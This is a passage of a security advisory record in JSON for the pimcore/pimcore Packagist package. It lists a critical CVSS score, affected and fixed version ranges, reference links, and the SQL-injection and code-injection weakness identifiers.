    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "pimcore/pimcore"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "12.3.10"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 12.3.9"
    }
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "pimcore/pimcore"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2026.1.0"
      }, {
        "fixed" : "2026.1.6"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2026.1.5"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/pimcore/pimcore/security/advisories/GHSA-9x44-4gxf-8c25"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pimcore/pimcore/pull/19183"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pimcore/pimcore/commit/a4f8c3cfee58b7d5fe4873d67782eff58dae9b9d"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/pimcore/pimcore"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pimcore/pimcore/releases/tag/v2026.1.6"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-89", "CWE-94" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-28T19:17:42Z",
    "nvd_published_at" : null
  }
}